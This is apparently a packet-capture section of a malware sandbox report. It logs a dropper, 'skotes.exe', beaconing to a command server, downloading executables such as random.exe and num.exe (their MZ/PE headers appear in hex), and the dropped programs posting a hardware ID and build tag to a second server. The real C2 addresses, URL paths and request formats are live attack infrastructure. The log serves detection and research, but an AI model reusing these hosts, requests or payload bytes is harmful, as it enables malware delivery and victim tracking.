Oct 31, 2024 01:19:20.812855005 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 01:19:20.812871933 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 01:19:20.812887907 CET	1236	IN	Data Raw: c6 f1 81 a5 29 d1 9f f9 87 cc fc 5e 14 36 fc 6b a7 34 6e 61 5b 19 79 41 ec 68 22 58 8f 95 37 cc 40 44 fa 27 97 71 2f 57 cd a7 e5 2d fc f4 32 02 29 91 35 5a ba 6c 65 14 ac 55 47 5e bb 2b 1a 07 02 39 4f 59 8b 97 33 9f a9 6a 2e 1a 83 d6 6b 7e 87 d6 Data Ascii: )^6k4na[yAh"X7@D'q/W-2)5ZleUG^+9OY3j.k~k~k~k~k~k~k~k~jtij~lLDN8iErE8T1R1q)VJ[/Y2 qTsQW<Dj<j
Oct 31, 2024 01:19:20.812903881 CET	1236	IN	Data Raw: bb 31 f5 66 f4 45 61 7a ac 8c d6 46 bc ce ff a9 dc c0 9e 4f 7f 67 50 96 13 ba 35 a5 1f c9 e6 9e b8 5e 01 f3 1d d9 a4 fb 58 d7 ff 85 c0 fd c5 8e 01 d5 81 e1 69 76 c6 6c bc 41 46 b5 16 85 66 17 f0 ac 37 22 41 cd c6 1e d9 9b f2 84 75 97 fb 15 20 48 Data Ascii: 1fEazFOgP5^XivlAFf7"Au HkBTY7OYE[5wogm=zN_z1Cu9Z7;B~GyF>t(h5pbVJFV-1QLsx~LSWTB!:<)}p)]3tR\|4uwXS@
Oct 31, 2024 01:19:20.812918901 CET	1236	IN	Data Raw: 31 45 c1 f8 b8 95 ee 5a ef 8a 53 7e 4f e9 77 b7 b8 fd ee b6 ec 8a 6c 78 73 d7 42 9e 70 bc 67 62 e9 e4 af bb 4f c5 df ee 41 97 b7 02 90 3b 7a 44 f3 6d 78 0f 73 a9 76 56 30 9d 21 fe 4e bd e3 56 53 bc d0 98 49 39 1b 96 a0 cd 3f 62 45 e4 a3 b8 4f 46 Data Ascii: 1EZS~OwlxsBpgbOA;zDmxsvV0!NVSI9?bEOFN@lWfMaF?c 8ye@QDyMl~Hn~6AP{dli$M~~ONrZG{4Ff}D3M+<Li*
Oct 31, 2024 01:19:20.812933922 CET	572	IN	Data Raw: 38 89 5c b4 0c 03 02 64 59 95 ee 94 fa 8f 03 77 54 4d d4 15 47 21 3c af b7 08 16 9a be a5 66 0f ab 4d 27 98 49 45 1a 96 b8 cd 27 62 b2 e4 63 b8 7e 90 25 00 6f bc 57 04 55 9c d3 ba 9f 0f 96 0c 7b 51 7e 13 09 d1 1a 0e 73 99 7e 12 3d b7 8b 17 58 a9 Data Ascii: 8\dYwTMG!<fM'IE'bc~%oWU{Q~s~=Xtl"@8Pdn-Zx$VN'7SAMEwA:S=+NnsO2ina-piu?c bPoX=~3m#
Oct 31, 2024 01:19:20.812949896 CET	1236	IN	Data Raw: e2 45 c5 0f 4f 44 70 0a d7 89 1d 12 c9 16 82 0f bb b7 09 6f cf 4c e6 1b 2d c9 ee b2 4e e8 ce ce 96 a7 07 a6 ec bc 77 04 b7 9c eb 70 27 ad 67 0f a9 2d e3 75 c2 21 24 a8 d8 c9 ee ee 4e bf ce 0a 5d cf df e6 41 97 bf 02 68 cd 03 b9 8c 05 e4 ce 7f cf Data Ascii: EODpoL-Nwp'g-u!$N]Ahw~:@O"xF@~VAF^py]kpc^FF[\K":qJcA[OHKpc<#9Hm7Y@]"d0L=@D}
Oct 31, 2024 01:19:20.817948103 CET	1236	IN	Data Raw: fa 85 db 5d 44 3d b6 a4 41 85 ff 98 fa b7 c3 b8 b0 ab 63 66 40 3d 02 61 9c 44 5f ba 4c be 10 06 40 97 ab 02 87 3b a2 45 c4 5d 78 0f 73 80 76 65 31 d5 3c 0f 5b 5f 39 14 a7 c9 ee 7c 99 bd 2e 01 ff e5 ee 07 e3 44 f6 dd c4 a4 51 a6 ae bc 7b 17 63 17 Data Ascii: ]D=Acf@=aD_L@;E]xsve1<[_9\|.DQ{c+pVGr6i9sAVM9OD)[nxxd@_Ge^OvL)myD%$T/^nWK7B\rv"4ymdUB:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	50003	185.215.113.43	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:19:25.070019007 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 37 34 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002746001&unit=246122658369
Oct 31, 2024 01:19:25.930010080 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:19:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	50004	185.215.113.16	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:19:25.946432114 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 31, 2024 01:19:26.858671904 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:19:26 GMT Content-Type: application/octet-stream Content-Length: 919552 Last-Modified: Wed, 30 Oct 2024 23:13:09 GMT Connection: keep-alive ETag: "6722bd85-e0800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7d bd 22 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL}"g"Xw@`@@@d\|@(u4@.text `.rdata@@.datalpH@.rsrc(@@@.relocuv@B
Oct 31, 2024 01:19:26.858726978 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Oct 31, 2024 01:19:26.858738899 CET	1236	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Oct 31, 2024 01:19:26.858748913 CET	1236	IN	Data Raw: 7f 00 00 8d 8e 9c 00 00 00 e8 10 7f 00 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 75 1c Data Ascii: N^VW3DNF\|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj
Oct 31, 2024 01:19:26.858761072 CET	1236	IN	Data Raw: 00 5f 5e 5b c9 c2 08 00 49 eb 89 41 eb 86 8d 47 01 89 02 eb dc e8 5b 01 00 00 84 c0 74 0e 8b ca e8 50 01 00 00 84 c0 74 03 b0 01 c3 32 c0 c3 55 8b ec 51 51 56 8b f1 80 be 6d 01 00 00 00 8b 86 68 01 00 00 75 53 ff 70 04 e8 1e 09 00 00 8d 4d ff c7 Data Ascii: _^[IAG[tPt2UQQVmhuSpMEQMQPx$}dtmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3
Oct 31, 2024 01:19:26.858772039 CET	1236	IN	Data Raw: 00 83 f8 12 0f 8d e0 04 04 00 83 e8 04 83 f8 0a 77 94 ff 24 85 85 27 40 00 6a 7f 58 66 3b d8 0f 84 c2 06 04 00 8b 19 33 c0 66 85 c0 74 1c 8b 45 90 40 89 45 90 8b 1c 81 0f b7 43 08 66 3b 85 50 ff ff ff 75 e4 e9 9d 06 04 00 83 3b 05 75 df 8b 04 91 Data Ascii: w$'@jXf;3ftE@ECf;Pu;u3f9X'ULUf9Y]79^99L99!:9#, rU]
Oct 31, 2024 01:19:26.858788967 CET	1236	IN	Data Raw: 85 79 02 04 00 38 5f 08 75 1c 8b 47 04 6a 08 50 8b 70 04 e8 c8 d5 01 00 59 59 89 77 04 88 5f 09 ff 0f 5f 5e 5b c3 b3 01 eb f3 55 8b ec 56 8b f1 80 7e 09 00 0f 85 5f 02 04 00 6a 08 e8 ad d5 01 00 59 8b 4d 08 8b 09 89 08 8b 4e 04 89 48 04 89 46 04 Data Ascii: y8_uGjPpYYw__^[UV~_jYMNHF^]UQSV3W8^?8^u7~G0EtO ,O$j8WIEYYF^_^[UWVj8)YuON0w^_]UVuWO
Oct 31, 2024 01:19:26.858803988 CET	1236	IN	Data Raw: a3 88 13 4d 00 ff d6 57 ff 35 8c 13 4d 00 ff d6 5f 5e c3 55 8b ec 83 ec 40 a1 58 13 4d 00 56 33 f6 a3 04 19 4d 00 6a 0f c7 45 c4 30 00 00 00 c7 45 c8 2b 00 00 00 89 75 d0 c7 45 d4 1e 00 00 00 89 45 d8 89 75 e0 ff 15 3c c7 49 00 89 45 e4 8b 45 10 Data Ascii: MW5M_^U@XMV3MjE0E+uEEu<IEEEEEEPuEIE}A0IhIfM IMEPEE;Ijjj!jjIh5M\M4IPj5\MI5`M^UVW
Oct 31, 2024 01:19:26.858808994 CET	1236	IN	Data Raw: cc 00 00 00 2d 8f 00 00 00 0f 84 d8 fc 03 00 48 83 e8 01 0f 84 ba fc 03 00 2d ff 01 00 00 0f 84 94 fc 03 00 2d ef 00 00 00 0f 84 8f 00 00 00 3b 3d 28 25 4d 00 0f 84 58 fc 03 00 ff 75 0c ff 75 08 57 56 ff 15 08 c7 49 00 5f 5e 5b 8b e5 5d c3 85 c0 Data Ascii: -H--;=(%MXuuWVI_^[]tt%jVIM73jhjV$IhI I=M(%MuIMuQQVMjIU<SVWj,EE0jP
Oct 31, 2024 01:19:26.858817101 CET	1236	IN	Data Raw: 4d 00 ff 53 56 57 33 db c7 05 94 19 4d 00 01 01 01 01 68 58 cb 49 00 89 1d 90 19 4d 00 66 89 1d 98 19 4d 00 c6 05 9a 19 4d 00 01 c7 05 9c 19 4d 00 09 00 00 00 89 1d a8 19 4d 00 e8 0a 66 00 00 68 3c cb 49 00 b9 bc 19 4d 00 e8 fb 65 00 00 b9 cc 19 Data Ascii: MSVW3MhXIMfMMMMfh<IMeMrMrMrM4MMMMMMMMj_MMMMMMMMM M$M0Mrud
Oct 31, 2024 01:19:26.863734961 CET	1120	IN	Data Raw: 53 52 51 ff 15 18 c0 49 00 85 c0 75 4f 8b 45 0c 57 8d 3c 00 8d 45 fc 89 7d fc 50 56 53 53 ff 75 08 ff 75 f8 ff 15 20 c0 49 00 85 c0 75 15 8b 45 fc d1 e8 89 45 fc 3b 45 0c 73 18 33 c9 66 89 0c 46 b3 01 ff 75 f8 ff 15 1c c0 49 00 8a c3 5f 5e 5b c9 Data Ascii: SRQIuOEW<E}PVSSuu IuEE;Es3fFuI_^[3fD72V\|M]8MW3=MZ=@M M@I95(Mv"$Mj4$MYY<F;5(Mr5$M=(MYMM<I5M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	50006	185.215.113.206	80	3700	C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:19:26.203011990 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 01:19:27.106565952 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:19:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 01:19:27.375790119 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBKKKEGIDBGHIDGDHDBF Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 31 30 33 30 46 36 34 37 34 31 31 31 37 36 38 33 38 37 31 33 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 2d 2d 0d 0a Data Ascii: ------EBKKKEGIDBGHIDGDHDBFContent-Disposition: form-data; name="hwid"621030F647411176838713------EBKKKEGIDBGHIDGDHDBFContent-Disposition: form-data; name="build"tale------EBKKKEGIDBGHIDGDHDBF--
Oct 31, 2024 01:19:27.662203074 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:19:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	50008	185.215.113.43	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:19:30.455220938 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 37 34 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002747001&unit=246122658369
Oct 31, 2024 01:19:31.324945927 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:19:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	50009	185.215.113.16	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:19:31.359097958 CET	52	OUT	GET /test/num.exe HTTP/1.1 Host: 185.215.113.16
Oct 31, 2024 01:19:32.262454987 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 00:19:32 GMT Content-Type: application/octet-stream Content-Length: 888832 Last-Modified: Sun, 27 Oct 2024 06:45:44 GMT Connection: keep-alive ETag: "671de198-d9000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,l@.@XP.$.text .rdata@@.data+@.reloc>K.LD@B
Oct 31, 2024 01:19:32.262499094 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ba c2 41 00 b1 d1 41 00 1a d2 41 00 00 00 00 Data Ascii: AAAUQEE}tMUUEEE]UEExMUMMM]UQSjh0hAj0rmE
Oct 31, 2024 01:19:32.262552023 CET	1236	IN	Data Raw: 8b 8d 10 fc ff ff 51 83 ec 0c 8b cc 8d 95 04 fc ff ff 52 e8 fb 95 01 00 81 ec 88 00 00 00 8b cc 8d 45 08 50 e8 ca 00 00 00 8d 8d a4 fb ff ff 51 e8 0e 3f 01 00 81 c4 a0 00 00 00 8d 8d a4 fb ff ff e8 2d 96 01 00 8d 8d f8 fb ff ff e8 f2 98 01 00 50 Data Ascii: QREPQ?-PqmPEjjRAM]UQMM\|MHM<M0M]
Oct 31, 2024 01:19:32.262586117 CET	1236	IN	Data Raw: 35 8d 4d f4 e8 96 91 01 00 8d 4d e8 e8 8e 91 01 00 8d 4d 08 e8 86 91 01 00 8d 4d 18 e8 7e 91 01 00 8d 4d 24 e8 76 91 01 00 8d 4d 34 e8 ae fb ff ff e9 11 05 00 00 68 8c 53 42 00 8d 8d cc fe ff ff 51 ff 15 a4 72 6d 00 85 c0 74 16 68 34 54 42 00 8d Data Ascii: 5MMMM~M$vM4hSBQrmth4TBRrmu}h"Bh}0E$PlQh,VBxRPQhUBREPQhTBREPQi[
Oct 31, 2024 01:19:32.262620926 CET	448	IN	Data Raw: e8 c6 8c 01 00 8d 8d 94 fe ff ff e8 bb 8c 01 00 8d 85 a0 fe ff ff 50 8b 4d e4 51 ff 15 ac 71 6d 00 85 c0 0f 85 39 fb ff ff 8b 55 e4 52 ff 15 24 71 6d 00 8d 4d e8 e8 d0 8e 01 00 8d 4d f4 e8 c8 8e 01 00 8d 4d f4 e8 80 8c 01 00 8d 4d e8 e8 78 8c 01 Data Ascii: PMQqm9UR$qmMMMMxMpMhM$`M4]UEEEM;UREk,T(REk,TREk,Pu
Oct 31, 2024 01:19:32.262655020 CET	1236	IN	Data Raw: 51 04 3b 55 0c 7c 05 8b 45 08 eb 0e 8b 45 08 8b 48 08 89 4d 08 eb d7 8b 45 08 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 8b 45 08 33 d2 b9 00 10 00 00 f7 f1 85 d2 74 0c 8b 55 08 81 c2 00 10 00 00 89 55 08 8b 45 08 c1 e8 0c 5d c3 Data Ascii: Q;U\|EEHME]UE3tUUE]UEEMQ+UUUEEMQ+UEPMUQEMHUEHJUztEHUQEMHUEE]Usm;EuMsmU
Oct 31, 2024 01:19:32.262689114 CET	1236	IN	Data Raw: 00 83 c4 0c a3 18 6e 6d 00 6a 0b 68 10 1f 42 00 68 1c 1f 42 00 e8 1d 21 00 00 83 c4 0c a3 34 70 6d 00 6a 14 68 28 1f 42 00 68 40 1f 42 00 e8 04 21 00 00 83 c4 0c a3 bc 6a 6d 00 6a 0d 68 58 1f 42 00 68 68 1f 42 00 e8 eb 20 00 00 83 c4 0c a3 2c 6b Data Ascii: nmjhBhB!4pmjh(Bh@B!jmjhXBhhB ,kmjhxBhB lmjhBhB PomjhBhB \|kmjhBhB kmjhBh Bn kmjh Bh BU (mmjh( Bh8
Oct 31, 2024 01:19:32.262722969 CET	1236	IN	Data Raw: 6d 00 6a 14 68 e8 23 42 00 68 00 24 42 00 e8 50 1c 00 00 83 c4 0c a3 38 6f 6d 00 6a 0e 68 18 24 42 00 68 28 24 42 00 e8 37 1c 00 00 83 c4 0c a3 94 6b 6d 00 6a 0e 68 38 24 42 00 68 48 24 42 00 e8 1e 1c 00 00 83 c4 0c a3 e4 6d 6d 00 6a 18 68 58 24 Data Ascii: mjh#Bh$BP8omjh$Bh($B7kmjh8$BhH$BmmjhX$Bht$Bnmjh$Bh$Bnmjh$Bh$Bjmjh$Bh$Bnmjh$Bh$B<kmjh%Bh%BLlmjh %Bh8%Bo
Oct 31, 2024 01:19:32.262757063 CET	336	IN	Data Raw: 2a 42 00 e8 87 17 00 00 83 c4 0c a3 24 70 6d 00 6a 14 68 70 2a 42 00 68 88 2a 42 00 e8 6e 17 00 00 83 c4 0c a3 88 6d 6d 00 6a 15 68 a0 2a 42 00 68 b8 2a 42 00 e8 55 17 00 00 83 c4 0c a3 b4 6b 6d 00 6a 0e 68 d0 2a 42 00 68 e0 2a 42 00 e8 3c 17 00 Data Ascii: B$pmjhpBhBnmmjhBhBUkmjhBhB<lmjhBh+B#omjh+Bh$+B,nmjh8+BhT+Bdnmjhp+Bh+B`kmjh+Bh+Bkmjh+Bh+Bmmj
Oct 31, 2024 01:19:32.262809038 CET	1236	IN	Data Raw: a3 10 6f 6d 00 6a 05 68 a0 2c 42 00 68 a8 2c 42 00 e8 29 16 00 00 83 c4 0c a3 30 6f 6d 00 6a 0b 68 b0 2c 42 00 68 bc 2c 42 00 e8 10 16 00 00 83 c4 0c a3 48 6d 6d 00 6a 09 68 c8 2c 42 00 68 d4 2c 42 00 e8 f7 15 00 00 83 c4 0c a3 dc 6c 6d 00 6a 13 Data Ascii: omjh,Bh,B)0omjh,Bh,BHmmjh,Bh,Blmjh,Bh,B`nmjh-Bh -Bomjh8-BhD-B,omjhP-Bh\-Bnmjhh-Bh\|-Bzxnmjh-Bh-Balmjh-Bh-B
Oct 31, 2024 01:19:32.267714977 CET	1236	IN	Data Raw: 00 68 40 33 42 00 e8 60 11 00 00 83 c4 0c a3 10 6d 6d 00 6a 0f 68 50 33 42 00 68 60 33 42 00 e8 47 11 00 00 83 c4 0c a3 a4 6e 6d 00 6a 3d 68 70 33 42 00 68 b0 33 42 00 e8 2e 11 00 00 83 c4 0c a3 34 6b 6d 00 6a 09 68 f0 33 42 00 68 fc 33 42 00 e8 Data Ascii: h@3B`mmjhP3Bh`3BGnmj=hp3Bh3B.4kmjh3Bh3B\|mmjh4Bh4B$kmjh 4Bh(4B\kmjh04Bh84Bjmjh@4BhL4BlmjhX4Bh`4BPmmjhh4Bhp4Blmm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	50013	185.215.113.206	80	3108	C:\Users\user\AppData\Local\Temp\1002748001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:19:33.704749107 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 01:19:34.609536886 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:19:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 01:19:34.747991085 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHDHJJJECFIECBGDGCAA Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 31 30 33 30 46 36 34 37 34 31 31 31 37 36 38 33 38 37 31 33 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 2d 2d 0d 0a Data Ascii: ------DHDHJJJECFIECBGDGCAAContent-Disposition: form-data; name="hwid"621030F647411176838713------DHDHJJJECFIECBGDGCAAContent-Disposition: form-data; name="build"tale------DHDHJJJECFIECBGDGCAA--
Oct 31, 2024 01:19:35.028979063 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:19:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	50017	185.215.113.43	80	2488	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 01:19:35.743978977 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 37 34 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002748001&unit=246122658369
